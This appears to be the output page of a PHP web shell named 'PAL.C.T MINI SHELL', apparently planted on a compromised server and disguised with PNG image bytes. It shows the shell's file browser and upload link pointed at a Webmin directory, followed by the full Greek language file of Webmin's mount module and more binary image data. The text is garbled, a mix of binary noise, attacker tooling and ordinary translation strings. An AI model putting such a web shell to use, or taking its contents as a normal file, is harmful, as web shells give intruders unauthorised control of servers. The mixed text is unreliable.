php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/mount/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/mount/lang/el.auto

index_title=Συστήματα αρχείων δίσκων και δικτύου
index_dir=Τοποθετείται ως
index_type=Τύπος
index_dev=Τοποθεσία
index_used=Μεταχειρισμένος
index_use=Σε χρήση?
index_perm=Αποθηκεύτηκε;
index_add=Προσθήκη mount
index_auto=Άγνωστος τύπος
index_swap=Εικονική μνήμη
index_return=λίστα συστημάτων αρχείων
index_none=Δεν έχετε πρόσβαση σε κανένα προσαρμοσμένο σύστημα αρχείων.
index_mount2=Τοποθετήστε με κωδικό:
index_root=Σύστημα αρχείων ρίζας

edit_title=Επεξεργαστείτε τη βάση
create_title=Δημιουργία Mount
edit_err=Αποτυχία επεξεργασίας της προσάρτησης
edit_egone=Αυτή η συναρμολόγηση δεν υπάρχει πλέον
edit_header=$1 Στοιχεία εγκατάστασης
edit_dir=Τοποθετείται ως
edit_usage=Χρήση δίσκου
edit_swap=Εικονική μνήμη
edit_size=Μέγεθος
edit_free=Ελεύθερος
edit_savemount=Αποθήκευση mount;
edit_boot=Αποθηκεύστε και τοποθετήστε την εκκίνηση
edit_save=Αποθηκεύσετε
edit_delete=Διαγράφω
edit_dont=Μην αποθηκεύετε
edit_now=Τότε;
edit_mount=Βουνό
edit_dont2=Μην τοποθετείτε
edit_unmount=Αποσυναρμολογήστε
edit_order=Ελέγξτε το σύστημα αρχείων κατά την εκκίνηση;
edit_first=Ελέγξτε πρώτα
edit_second=Ελέγξτε τη δεύτερη
edit_adv=Επιλογές εγκατάστασης
edit_comm_opt=Κοινές επιλογές τοποθέτησης
edit_ext_opt=ext2 / ext3 συγκεκριμένες επιλογές
edit_nfs_opt=Ειδικές επιλογές NFS
edit_nfs_opt4=Ειδικές επιλογές NFSv4
edit_dos_opt=Επιλογές συστημάτων αρχείων με βάση το DOS
edit_hpfs_opt=hpfs συγκεκριμένες επιλογές
edit_iso9660_opt=Ειδικές επιλογές ISO9660
edit_autofs_opt=autofs συγκεκριμένες επιλογές
edit_smbfs_opt=Επιλογές συστημάτων αρχείων CIFS
edit_reiserfs_opt=Ειδικές επιλογές Reiserfs
edit_tmpfs_opt=tmpfs συγκεκριμένες επιλογές
edit_xfs_opt=xfs συγκεκριμένες επιλογές
edit_ntfs_opt=ntfs συγκεκριμένες επιλογές
edit_list=Λίστα χρηστών
edit_create=Αποθηκεύστε και τοποθετήστε
edit_save_apply=Αποθήκευση και Εφαρμογή
edit_umount=Αποσυναρμολογήστε
edit_perm=Κάντε Μόνιμη
edit_del_umount=Ρύθμιση και Διαγραφή
edit_ecannot=Δεν επιτρέπεται να επεξεργαστείτε αυτό το σύστημα αρχείων
edit_ecannot2=Δεν επιτρέπεται να προσθέσετε νέα συστήματα αρχείων
edit_3_or_lower=3 (ή χαμηλότερη)
edit_advanced=Προηγμένη λειτουργία

save_err=Αποτυχία αποθήκευσης mount
save_edir='$1' δεν είναι κατάλογος
save_edirname=Το '$1' δεν είναι έγκυρο όνομα καταλόγου
save_ealready=Το '$1' έχει ήδη τοποθετηθεί
save_ealready2=Το '$1' έχει ήδη αντιστοιχιστεί για να τοποθετηθεί
save_ealready3=Ο κατάλογος '$1' έχει ήδη τοποθετηθεί
save_ealready4=Ο κατάλογος '$1' έχει ήδη αντιστοιχιστεί
save_emkdir=Αποτυχία δημιουργίας καταλόγου $1 : $2 
save_eumount=Αποσύνδεση απέτυχε : $1
save_emount=Η φόρτωση απέτυχε : $1
save_perm=Οι αλλαγές στη φόρμα $1 δεν μπορούν να εφαρμοστούν, καθώς το mount είναι σε χρήση. Για να πραγματοποιήσετε τις αλλαγές σας μόνο στη λίστα μόνιμης εγκατάστασης, κάντε κλικ στο παρακάτω κουμπί.
save_force=Δεν ήταν δυνατή η κατάργηση της προσάρτησης στο $1, καθώς το mount χρησιμοποιείται αυτή τη στιγμή. Για να επιχειρήσετε μια αναγκαστική αποσύνδεση, κάντε κλικ στο παρακάτω κουμπί
save_apply=Εφαρμογή στην μόνιμη λίστα
save_fapply=Απενεργοποιήστε τη δύναμη
save_eremount=Η επαναφορά απέτυχε : $1
save_enone=Δεν επιλέξατε να αποθηκεύσετε ή να προσαρτήσετε

swap_err=Αποτυχία δημιουργίας αρχείου ανταλλαγής
swap_esize=Το '$1' δεν είναι έγκυρο μέγεθος

nfs_server=Επιλέξτε διακομιστή NFS ..
nfs_select=Επιλέξτε έναν διακομιστή NFS για την εγκατάσταση από ..
nfs_ip=Διεύθυνση IP
nfs_host=Όνομα κεντρικού υπολογιστή
nfs_none=Δεν βρέθηκαν τοπικοί διακομιστές NFS
nfs_choose=Επιλέξτε τον κατάλογο NFS σε $1
nfs_failed=Αποτυχία ανάκτησης των εξαγωγών NFS από το $1:$2 Ίσως δεν υπάρχει τρέχοντας διακομιστής NFS
nfs_seldir=Επιλέξτε έναν κατάλογο NFS για την προσάρτηση ..
nfs_seldirv4=Για mount NFSv4, πρέπει να επιλέξετε '/'
nfs_dir=Ευρετήριο
nfs_clients=Πελάτες

smb_choose=Επιλέξτε διακομιστή CIFS ..
smb_elist=Αποτυχία ανάκτησης της λίστας διακομιστών από $1. Ίσως ο διακομιστής δεν επιτρέπει την περιήγηση
smb_eworkgroup=Δεν έχει οριστεί ομάδα εργασίας στη σελίδα "Ρύθμιση μονάδας"
smb_emaster=Δεν βρέθηκε κανένας πλοήγησης για ομάδα εργασίας $1
smb_ehost=Ο διακομιστής $1 δεν υπάρχει
smb_edown=Ο διακομιστής $1 είναι κάτω, δεν είναι προσβάσιμος ή δεν είναι διακομιστής αρχείων
smb_sel=Επιλέξτε διακομιστή δικτύωσης των Windows για να το εγκαταστήσετε από ..
smb_name=Ονομα διακομιστή
smb_desc=Περιγραφή
smb_none=Δεν βρέθηκαν τοπικοί διακομιστές δικτύων Windows
smb_choose2=Επιλέξτε Μερίδιο $1
smb_elist2=Αποτυχία ανάκτησης της λίστας κοινής χρήσης από $1. Ίσως ο διακομιστής δεν επιτρέπει την περιήγηση
smb_sel2=Επιλέξτε ένα κοινόχρηστο στοιχείο για την προσάρτηση ..
smb_share=Μερίδιο
smb_comment=Σχόλιο
smb_noshares=Δεν υπάρχουν διαθέσιμα κοινόχρηστα αρχεία στον διακομιστή $1

solaris_scsidev=Ελεγκτής SCSI $1 στόχος $2 μονάδα $3
solaris_idedev=Ελεγκτής IDE $1 μονάδα δίσκου $2 διαμέρισμα $3
solaris_mddev=Συσκευή RAID $1
solaris_ecacheexists=Ο κατάλογος $1 υπάρχει ήδη. Διέγραψε το.
solaris_ebusy=$1 είναι απασχολημένος
solaris_ekill=Αποτυχία κατάργησης του rumba
solaris_epid=Δεν βρέθηκε rumba pid
solaris_nsource=Πηγή NFS
solaris_nhost=Όνομα κεντρικού υπολογιστή NFS
solaris_ndir=Κατάλογος NFS
solaris_nmult=Πολλαπλοί διακομιστές NFS
solaris_webnfs=WebNFS URL
solaris_ufs=Δίσκος UFS
solaris_scsi=SCSI / IDE Disk
solaris_ctrlr=Ελεγκτής
solaris_target=Στόχος
solaris_unit=Μονάδα
solaris_part=Χώρισμα
solaris_raid=Συσκευή RAID
solaris_otherdev=Άλλη συσκευή
solaris_swapfile=Ανταλλάξτε το αρχείο
solaris_file=Αρχείο
solaris_cdrom=ΜΟΝΑΔΑ ΟΠΤΙΚΟΥ ΔΙΣΚΟΥ
solaris_dvd=DVD
solaris_msdos=MS-DOS Disk
solaris_orig=Αρχικός κατάλογος
solaris_cache=Cache Source
solaris_automap=Χάρτης Automounter
solaris_autohosts=Όλες οι εξαγωγές NFS
solaris_autoxfn=Ομοσπονδιακή υπηρεσία ονοματοδοσίας
solaris_server=Ονομα διακομιστή
solaris_share=Όνομα μετοχής
solaris_lvm=Συσκευή LVM
solaris_vg=Ομάδα τόμου
solaris_lv=Λογική ένταση
solaris_vxfs=VXFS
solaris_hfs=HFS
solaris_ro=Μόνο για ανάγνωση?
solaris_nosuid=Απενεργοποίηση προγραμμάτων setuid;
solaris_grpid=Τα αρχεία κληρονομούν γονικό GID;
solaris_soft=Επιστροφή σφάλματος στα χρονικά όρια;
solaris_bg=Δοκιμάστε ξανά τις παραστάσεις στο παρασκήνιο;
solaris_quota=Εμφάνιση ποσοστώσεων;
solaris_nointr=Να επιτρέπεται η διακοπή του χρήστη;
solaris_nfsver=Έκδοση NFS
solaris_highest=Υψιστος
solaris_proto=Πρωτόκολλο
solaris_port=Θύρα NFS
solaris_timeo=Τέλος χρόνου
solaris_retrans=Αριθμός αναμετάδοσης
solaris_auth=Αυθεντικοποίηση
solaris_none=Κανένας
solaris_des=DES
solaris_krb=Kerberos
solaris_public=Βάση WebNFS;
solaris_quotab=Ενεργοποίηση ποσοστώσεων κατά την εκκίνηση;
solaris_onerror=Δράση για σφάλματα
solaris_toosoon=Καθυστέρηση επισκευής
solaris_time_s=Δευτερόλεπτα
solaris_time_m=Λεπτά
solaris_time_h=Ωρες
solaris_time_d=Ημέρες
solaris_time_w=Εβδομάδες
solaris_time_y=Χρόνια
solaris_noatime=Ενημέρωση των χρόνων πρόσβασης;
solaris_immed=Αμέσως
solaris_defer=Αναβαλλόμενος
solaris_force=Δύναμη άμεση IO;
solaris_nolarge=Επιτρέψτε μεγάλα αρχεία;
solaris_logging=Ενεργοποιήθηκε η καταγραφή;
solaris_nrr=Αγνόηση χαρακτηριστικών Unix;
solaris_notraildot=Αγνοήστε την τελική κουκίδα;
solaris_nomaplcase=Χρησιμοποιήστε πεζά;
solaris_foldcase=Μείωση πεζών;
solaris_noopts=Δεν υπάρχουν διαθέσιμες επιλογές
solaris_size=Μέγεθος
solaris_largebsize=Χρησιμοποιήστε μεγάλο μέγεθος μπλοκ σελίδας;
solaris_max=Ανώτατο όριο
solaris_backfs=Πραγματικός τύπος συστήματος αρχείων
solaris_backpath=Πραγματικό σημείο προσάρτησης
solaris_cachedir=Κατάλογος κρυφής μνήμης
solaris_wmode=Λειτουργία εγγραφής
solaris_con=Έλεγχος συνέπειας
solaris_period=Περιοδικά
solaris_never=Ποτέ
solaris_demand=Κατα παραγγελια
solaris_waround=Γράψτε γύρω
solaris_nshared=Μη κοινόχρηστο
solaris_local=Ελέγξτε τα δικαιώματα στην προσωρινή μνήμη;
solaris_nobrowse=Η περιήγηση είναι ενεργοποιημένη;
solaris_auto=Αυτόματο
solaris_mname=Όνομα κεντρικού υπολογιστή διακομιστή
solaris_cname=Όνομα Πελάτη
solaris_username=Ονομα σύνδεσης
solaris_password=Κωδικός σύνδεσης
solaris_uid=Τα αρχεία χρηστών ανήκουν
solaris_gid=Τα αρχεία ομάδας ανήκουν
solaris_fmode=Άδεια αρχείων
solaris_dmode=Δικαιώματα καταλόγου
solaris_readwrite=Η πρόσβαση ανάγνωσης / εγγραφής είναι ασφαλής;
solaris_readonly=Τα αρχεία μπορούν να διαβαστούν μόνο;
solaris_noupper=Στείλτε τον κωδικό με κεφαλαία;
solaris_attr=Χρησιμοποιήστε εντολές attrE;
solaris_eurl=Το '$1' δεν είναι έγκυρη διεύθυνση URL NFS
solaris_ehost=Το '$1' δεν είναι έγκυρο όνομα κεντρικού υπολογιστή
solaris_ehost2=Ο ξενιστής '$1' δεν υπάρχει
solaris_edown=Ο κεντρικός υπολογιστής '$1' είναι εκτός λειτουργίας ή δεν υποστηρίζει το NFS
solaris_enfs=Ο κεντρικός υπολογιστής '$1' δεν υποστηρίζει το NFS
solaris_enfsdir=Το '$1' δεν είναι έγκυρο όνομα καταλόγου. Οι διαθέσιμοι κατάλογοι στο $2 είναι : $3
solaris_enfsperm=Αυτός ο κεντρικός υπολογιστής δεν επιτρέπεται να συνδέσει τον κατάλογο $1 στο $2
solaris_enfsmount=Σφάλμα NFS - $1
solaris_ectrlr=Το '$1' δεν είναι έγκυρος ελεγκτής SCSI
solaris_etarget=Το '$1' δεν είναι έγκυρος αριθμός στόχου SCSI
solaris_eunit=Το '$1' δεν είναι έγκυρος αριθμός μονάδας SCSI
solaris_epart=Το '$1' δεν είναι έγκυρος αριθμός διαμερίσματος SCSI
solaris_eraid=Το '$1' δεν είναι έγκυρος αριθμός μονάδας RAID
solaris_epath=Το '$1' δεν είναι έγκυρο όνομα διαδρομής
solaris_eexist='$1' δεν υπάρχει
solaris_edir='$1' δεν είναι κατάλογος
solaris_eswapfile=Το αρχείο ανταλλαγής '$1' δεν υπάρχει
solaris_eopen=Αποτυχία ανοίγματος του $1 : $2 
solaris_ebackfs=Το πίσω σύστημα αρχείων '$1' δεν έχει τοποθετηθεί
solaris_ebacktype=Το πίσω σύστημα αρχείων είναι '$1' δεν είναι $2
solaris_ecsrc='$1' δεν είναι μια έγκυρη πηγή cache
solaris_eautomap=Λείπει το όνομα χάρτη automount
solaris_eautofile=Το αρχείο χάρτη '$1' δεν υπάρχει
solaris_etarget2=Ο στόχος SCSI για "$1" δεν υπάρχει
solaris_epart2=Το διαμέρισμα SCSI για το '$1' δεν υπάρχει
solaris_eraid2=Η συσκευή RAID για το '$1' δεν υπάρχει
solaris_enopart=Δεν υπάρχουν διαμερίσματα στο '$1'
solaris_edevfile=Το αρχείο συσκευής '$1' δεν υπάρχει
solaris_edevice=Η συσκευή για το "$1" δεν υπάρχει
solaris_efstyp=Η συσκευή '$1' διαμορφώνεται ως $2
solaris_efstyp2=Δεν ήταν δυνατή η επαλήθευση του τύπου συστήματος αρχείων : $1
solaris_ecachedir=Το '$1' δεν είναι έγκυρος κατάλογος cache
solaris_efmode=Το '$1' δεν είναι μια έγκυρη λειτουργία οκταδικών αρχείων
solaris_edmode=Το '$1' δεν είναι μια έγκυρη λειτουργία οκταδικού καταλόγου

linux_eamd=Η AMD απέτυχε
linux_eauto=Η αποτυχία του Automount : $1
linux_esmbconn=Απέτυχε η σύνδεση με το διακομιστή
linux_ekillamd=Απέτυχε η θανάτωση της AMD
linux_ekillauto=Αποτυχία κατάργησης του automount
linux_nfshost=Όνομα κεντρικού υπολογιστή NFS
linux_nfsdir=Κατάλογος NFS
linux_map=Χάρτης Automounter
linux_swapfile=Ανταλλάξτε το αρχείο
linux_disk=Δίσκος
linux_smbserver=Ονομα διακομιστή
linux_smbshare=Όνομα μετοχής
linux_raid=Συσκευή RAID
linux_rdev=Συσκευή RAID $1
linux_lvm=Λογική ένταση LVM
linux_ldev=LVM VG $1, LV $2
linux_cddev=Μονάδα CD-ROM
linux_cddev2=Μονάδα CD-ROM $1
linux_burnerdev=Μονάδα δίσκου καυστήρα CD
linux_label=Το διαμέρισμα φέρει την ετικέτα $1
linux_uuid=Διαίρεση με αναγνωριστικό $1
linux_lsel=Το διαμέρισμα είναι ετικετοποιημένο
linux_usel=Διαμερίσματος με αναγνωριστικό
linux_other=Άλλη συσκευή
linux_ro=Μόνο για ανάγνωση?
linux_sync=Buffer γράφει σε σύστημα αρχείων;
linux_nodev=Απενεργοποίηση αρχείων συσκευών;
linux_noexec=Δεν επιτρέπεται η εκτέλεση δυαδικών αρχείων;
linux_nosuid=Απενεργοποίηση προγραμμάτων setuid;
linux_ifuser=Εάν είναι δυνατή η τοποθέτηση από τους χρήστες
linux_user=Επιτρέψτε στους χρήστες να προσαρτήσουν αυτό το σύστημα αρχείων;
linux_check=Ελέγξτε τη λειτουργία
linux_normal=Κανονικός
linux_strict=Αυστηρός
linux_none=Κανένας
linux_errors=Δράση για σφάλματα
linux_continue=Να συνεχίσει
linux_remount_ro=Επαναφορά μόνο για ανάγνωση
linux_panic=Πανικός
linux_grpid=Τα αρχεία κληρονομούν το GID του γονικού καταλόγου;
linux_quotas=Χρησιμοποιήστε ποσοστώσεις;
linux_usrquota=Μόνο χρήστης
linux_grpquota=Ομάδα μόνο
linux_usrgrpquota=Χρήστη και Ομάδα
linux_usrgrpquota2=Ο χρήστης και η ομάδα (UNSTABLE!)
linux_quotaj=Τύπος αποθήκευσης ποσοστώσεων
linux_quotaj1=Γνωριμία
linux_quotaj0=Τακτικός
linux_resuid=Αποθηκεύστε χώρο για τον χρήστη
linux_resgid=Αποθηκεύστε χώρο για ομάδα
linux_bg=Δοκιμάστε ξανά τις παραστάσεις στο παρασκήνιο;
linux_soft=Επιστροφή σφάλματος στα χρονικά όρια;
linux_timeo=Τέλος χρόνου
linux_etimeo=Το χρονικό όριο πρέπει να είναι ένας αριθμός
linux_retrans=Αριθμός αναμετάδοσης
linux_vers=Έκδοση NFS
linux_high=Υψιστος
linux_port=Θύρα NFS
linux_intr=Να επιτρέπεται η διακοπή του χρήστη;
linux_tcp=Πρωτόκολλο RPC
linux_uid=Τα αρχεία χρηστών ανήκουν
linux_gid=Τα αρχεία ομάδας ανήκουν
linux_rules=Αρχές ονοματοδοσίας αρχείων
linux_relaxed=Χαλαρή
linux_conv=Μετατροπή νέας γραμμής DOS-Unix
linux_allfiles=Ολα τα αρχεία
linux_textfiles=Μόνο αρχεία κειμένου
linux_umask=Μάσκα αδειών αρχείων
linux_quiet=Αναφέρετε σφάλματα στις <tt>chown</tt> προσπάθειες;
linux_uni_xlate=Μετάφραση χαρακτήρων Unicode;
linux_posix=Να επιτρέπονται ονόματα που διαφέρουν μόνο σε περίπτωση;
linux_conv2=Μετατροπή νέας γραμμής OS / 2-Unix
linux_rock=Αγνόηση χαρακτηριστικών Unix;
linux_mode=Δικαιώματα αρχείων για CD που δεν είναι Unix
linux_noopts=Δεν υπάρχουν διαθέσιμες επιλογές
linux_timeout=Χρόνος αναμονής πριν από την αποσύνδεση
linux_pid_file=Γράψτε PID στο αρχείο
linux_secs=δευτερολέπτων
linux_smbwarn=Προειδοποίηση! Το σύστημα αρχείων δεν ήταν συνδεδεμένο από το Webmin, έτσι οι υπάρχουσες επιλογές δεν είναι διαθέσιμες
linux_username=Ονομα σύνδεσης
linux_password=Κωδικός σύνδεσης
linux_credentials=Αρχείο διαπιστευτηρίων
linux_sname=Ονομα διακομιστή
linux_wg=Ομάδα εργασίας
linux_auto=Αυτόματο
linux_cname=Όνομα Πελάτη
linux_mname=Διεύθυνση διακομιστή
linux_fmode=Άδεια αρχείων
linux_dmode=Δικαιώματα καταλόγου
linux_notail=Συναλλαγή χώρου για ταχύτητα;
linux_tmpsize=Μέγιστο μέγεθος συστήματος αρχείων
linux_unlimited=Απεριόριστος
linux_nr_blocks=Μέγιστο διαθέσιμο μπλοκ
linux_nr_inodes=Μέγιστο διαθέσιμα inodes
linux_tmpmode=Άδεια σημείου αναφοράς
linux_ehost=Το '$1' δεν είναι έγκυρο όνομα κεντρικού υπολογιστή
linux_ehost2=Ο ξενιστής '$1' δεν υπάρχει
linux_edown=Ο κεντρικός υπολογιστής '$1' είναι κάτω
linux_enfs=Ο κεντρικός υπολογιστής '$1' δεν υποστηρίζει το NFS
linux_elist=Αποτυχία λήψης στη λίστα mount : $1
linux_enfsdir=Το '$1' δεν είναι έγκυρο όνομα καταλόγου. Οι διαθέσιμοι κατάλογοι στο $2 είναι : $3
linux_enfsperm=Αυτός ο κεντρικός υπολογιστής δεν επιτρέπεται να συνδέσει τον κατάλογο $1 στο $2
linux_enfsmount=Σφάλμα NFS - $1
linux_eautomap=Δεν υπάρχει το αρχείο χαρτογράφησης automount '$1'
linux_edev=Δεν εισήχθη καμία συσκευή
linux_edevfile=Το αρχείο συσκευής '$1' δεν υπάρχει
linux_emask=Το '$1' δεν είναι έγκυρη οκταδική μάσκα
linux_etimeout='$1' δεν είναι έγκυρο χρονικό όριο
linux_epidfile=Το '$1' δεν είναι έγκυρο αρχείο pid
linux_efmode=Το '$1' δεν είναι μια έγκυρη λειτουργία οκταδικών αρχείων
linux_edmode=Το '$1' δεν είναι μια έγκυρη λειτουργία οκταδικού καταλόγου
linux_etmpsize=Λείπει ή μη έγκυρο μέγιστο μέγεθος
linux_enr_blocks=Έλλειψη ή μη έγκυρος αριθμός μπλοκ
linux_enr_inodes=Έλλειψη ή μη έγκυρος αριθμός inodes
linux_etmpmode=Λείπουν ή είναι άκυρα τα οκταδικά δικαιώματα σημείων προσάρτησης
linux_usrquotas=Ενεργοποίηση ποσοστώσεων χρηστών;
linux_grpquotas=Ενεργοποίηση ποσοστώσεων ομάδων;
linux_noenforce=Ναι, αλλά δεν επιβάλλεται
linux_df=Συμπεριλάβετε δεσμευμένα μπλοκ στο μέγεθος του συστήματος αρχείων;
linux_noatime=Αποφύγετε την ενημέρωση των τελευταίων χρόνων πρόσβασης;
linux_netdev=Περιμένετε μέχρι να εμφανιστούν οι διεπαφές δικτύου;
linux_nofail=Συνέχιση εκκίνησης ακόμα και αν αποτύχει η προσάρτηση
linux_ecname=Λείπει ή δεν είναι έγκυρο όνομα netbios πελάτη
linux_emname=Λείπει ή δεν είναι έγκυρο όνομα κεντρικού υπολογιστή ή διεύθυνση IP
linux_bind=Αρχικός κατάλογος
linux_ebind=Λανθασμένος ή μη υπάρχων αρχικός κατάλογος
linux_eserver=Λείπει το όνομα του διακομιστή
linux_eshare=Λείπει το όνομα κοινόχρηστου στοιχείου
linux_rsize=Ανάγνωση μεγέθους buffer
linux_wsize=Γράψτε το μέγεθος του buffer
linux_auth=Λειτουργία ελέγχου ταυτότητας
linux_sec=Επίπεδο ασφαλείας
linux_integrity=Ακεραιότητα
linux_privacy=Απορρήτου (συμπεριλαμβανομένης της ακεραιότητας)
linux_nfsvers=Εκτελέστε έκδοση NFS
linux_nfsdefault=Χρησιμοποιήστε την προεπιλεγμένη έκδοση
linux_transfert=RPC / πρωτόκολλο μεταφοράς
linux_swappri=Η προτεραιότητα εικονικής μνήμης
linux_eswappri=Έλλειψη ή μη έγκυρη αριθμητική προτεραιότητα εικονικής μνήμης
linux_codepage=Σελίδα κώδικα
linux_iocharset=IO σύνολο χαρακτήρων
linux_ecodepage=Λανθασμένη ή μη έγκυρη σελίδα κώδικα
linux_eiocharset=Λείπει ή άκυρο σύνολο χαρακτήρων IO
linux_nounix=Απενεργοποιήστε τις επεκτάσεις CIFS Unix;
linux_noserverino=Δημιουργία αριθμών inode από την πλευρά του πελάτη;
linux_cvers=CIFS έκδοση
linux_ecvers=Η έκδοση CIFS πρέπει να είναι ένας αριθμός

log_mount=Τοποθετείται $3
log_mount_l=Τοποθετείται $2 $1 σε $3
log_umount=Δεν έχει τοποθετηθεί $3
log_umount_l=Μη καταχωρημένο $2 $1 σε $3
log_remount=Αντικαταστάθηκε $3
log_remount_l=Αλλαγή $2 $1 σε $3
log_create=Δημιουργήθηκε mount $3
log_create_l=Δημιουργήθηκε $2 mount $1 σε $3
log_modify=Τροποποιημένη βάση $3
log_modify_l=Τροποποιημένη $2 mount $1 σε $3
log_delete=Διαγράφηκε mount $3
log_delete_l=Διαγράφηκε $2 mount $1 σε $3
log_swap=Δημιουργήθηκε αρχείο εναλλαγής $1

unmount_err=Δεν ήταν δυνατή η αποσύνδεση του $1

mount_err=Η φόρμα $1 απέτυχε
irix_nhost=Όνομα κεντρικού υπολογιστή NFS
irix_ndir=Κατάλογος NFS
irix_part=Τοπικό διαμέρισμα
irix_mode0=Ελεγκτής SCSI $1 στόχος $2 διαμέρισμα $3
irix_mode1=Άλλη συσκευή ή αρχείο
irix_ro=Μόνο για ανάγνωση?
irix_nosuid=Απενεργοποίηση προγραμμάτων setuid;
irix_grpid=Τα αρχεία κληρονομούν γονικό GID;
irix_nodev=Απενεργοποίηση αρχείων συσκευών;
irix_bg=Δοκιμάστε ξανά τις παραστάσεις στο παρασκήνιο;
irix_soft=Επιστροφή σφάλματος στα χρονικά όρια;
irix_nointr=Να επιτρέπεται η διακοπή του χρήστη;
irix_version=Έκδοση NFS
irix_proto=Πρωτόκολλο NFS
irix_port=Θύρα NFS
irix_timeo=Τέλος χρόνου
irix_retrans=Αριθμός αναμετάδοσης
irix_noopts=Δεν υπάρχουν διαθέσιμες επιλογές
irix_quota=Ενεργοποίηση ποσοστώσεων;
irix_noatime=Ενημέρωση των χρόνων πρόσβασης;
irix_wsync=Όλες οι τροποποιήσεις είναι συγχρονικές;
irix_quotano=Ναι, αλλά δεν επιβάλλεται
irix_cd=Τοπικό CD-ROM
irix_mode0cd=Ελεγκτής SCSI $1 στόχος $2
irix_setx=Κάντε όλα τα αρχεία εκτελέσιμα;
irix_rock=Χρησιμοποιήστε επεκτάσεις Rock Ridge;
irix_nofsck=Ελέγξτε το σύστημα αρχείων κατά την εκκίνηση;
irix_auto=Αυτοματοποιημένη πηγή
irix_automap=Αρχείο χάρτη

irix_ehost=Ο ξενιστής '$1' δεν υπάρχει
irix_eloss=Ο κεντρικός υπολογιστής '$1' είναι κάτω
irix_eshowmount=Ο κεντρικός υπολογιστής '$1' δεν υποστηρίζει το NFS
irix_emountlist=Αποτυχία λήψης στη λίστα mount : $1
irix_edirlist=Το '$1' δεν είναι έγκυρο όνομα καταλόγου. Οι διαθέσιμοι κατάλογοι στο '$2' είναι : $3
irix_enotexist=Ο κατάλογος '$1' δεν υπάρχει στο host '$2' Οι διαθέσιμοι κατάλογοι είναι : $3
irix_epermission=Αυτός ο κεντρικός υπολογιστής δεν επιτρέπεται να τοποθετήσει τον κατάλογο '$1' από τον κεντρικό υπολογιστή '$2'
irix_enfserr=Σφάλμα NFS : $1
irix_ectrlr=Το '$1' δεν είναι έγκυρος ελεγκτής SCSI
irix_edrive=Το '$1' δεν είναι έγκυρη μονάδα δίσκου SCSI
irix_epart=Το '$1' δεν είναι έγκυρος αριθμός διαμερίσματος
irix_edevice=Η συσκευή δισκέτας '$1' δεν υπάρχει
irix_eswapfile=Η συσκευή ανταλλαγής '$1' δεν υπάρχει
irix_efstyp2=Αποτυχία λήψης του τύπου συστήματος αρχείων $1 : $2 
irix_efstyp=Ο τύπος του συστήματος αρχείων στο $1 είναι $2, όχι $3
irix_eautomap=Το αρχείο χάρτη του Automounter '$1' δεν υπάρχει
irix_eauthmap2=Λανθασμένο ή άκυρο αρχείο χάρτη automounter

irix_devroot=Ρίζα διαμέρισμα
irix_devswap=Ανταλλαγή διαμερίσματος
irix_autohosts=Όλες οι εξαγωγές NFS

acl_only=Επιτρέπεται μόνο η συναρμολόγηση και η αποσυναρμολόγηση;
acl_fs=Συστήματα αρχείων που μπορούν να επεξεργαστούν
acl_types=Τύποι συστημάτων αρχείων που μπορούν να χρησιμοποιηθούν
acl_all=Ολα
acl_list=Κάτω από καταγεγραμμένους καταλόγους
acl_create=Μπορεί να προσθέσει νέα συστήματα αρχείων;
acl_fslist=Ονόματα καταχωρισμένων τύπων
acl_user=Μπορεί να επεξεργαστεί μόνο τα δικά του συστήματα αρχείων;
acl_hide=Απόκρυψη μη επεξεργάσιμων συστημάτων αρχείων;
acl_simple=Εμφάνιση απλής φόρμας σύνδεσης;
acl_simopts=Εμφάνιση απλοποιημένων επιλογών συστήματος αρχείων;
acl_browse=Εμφάνιση αρχείων αναζήτησης αρχείων και κοινής χρήσης;

egcc=Ο μεταγλωττιστής GCC ή CC που απαιτείται για την κατασκευή ενός προγράμματος για την καταχώρηση των εγκατεστημένων συστημάτων αρχείων στο σύστημά σας δεν είναι διαθέσιμο.
ecompile=Παρουσιάστηκε σφάλμα κατά την κατασκευή ενός προγράμματος για την εμφάνιση των εγκατεστημένων συστημάτων αρχείων στο σύστημά σας : $1

freebsd_eaddr=Λείπει ή μη έγκυρη διεύθυνση διακομιστή
freebsd_eworkgroup=Λανθασμένη ή μη έγκυρη ομάδα εργασίας
freebsd_ide=IDE σκληρό δίσκο
freebsd_device=Συσκευή
freebsd_slice=Φέτα
freebsd_part=Χώρισμα
freebsd_scsi=SCSI δίσκο
freebsd_other=Άλλη συσκευή
freebsd_select=Διαμερίσματος δίσκου
freebsd_idedev=IDE συσκευή $1, slice $2, διαμέρισμα $3
freebsd_scsidev=Η συσκευή SCSI $1, slice $2, διαμέρισμα $3
freebsd_edevpath=Άλλη συσκευή πρέπει να είναι απόλυτη διαδρομή, όπως <tt>/dev/cdrom</tt>
freebsd_edevfile=Το αρχείο συσκευής '$1' δεν υπάρχει

cswap_file=Το αρχείο ανταλλαγής $1 δεν υπάρχει.
cswap_size=Δημιουργήστε και τοποθετήστε ένα αρχείο ανταλλαγής με μέγεθος

acl_sysinfo=Εμφάνιση διαθέσιμων δεδομένων δίσκου στον Πίνακα ελέγχου;
sysinfo_total=Σύνολο
sysinfo_dev=Αναγνωριστικό συσκευής
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`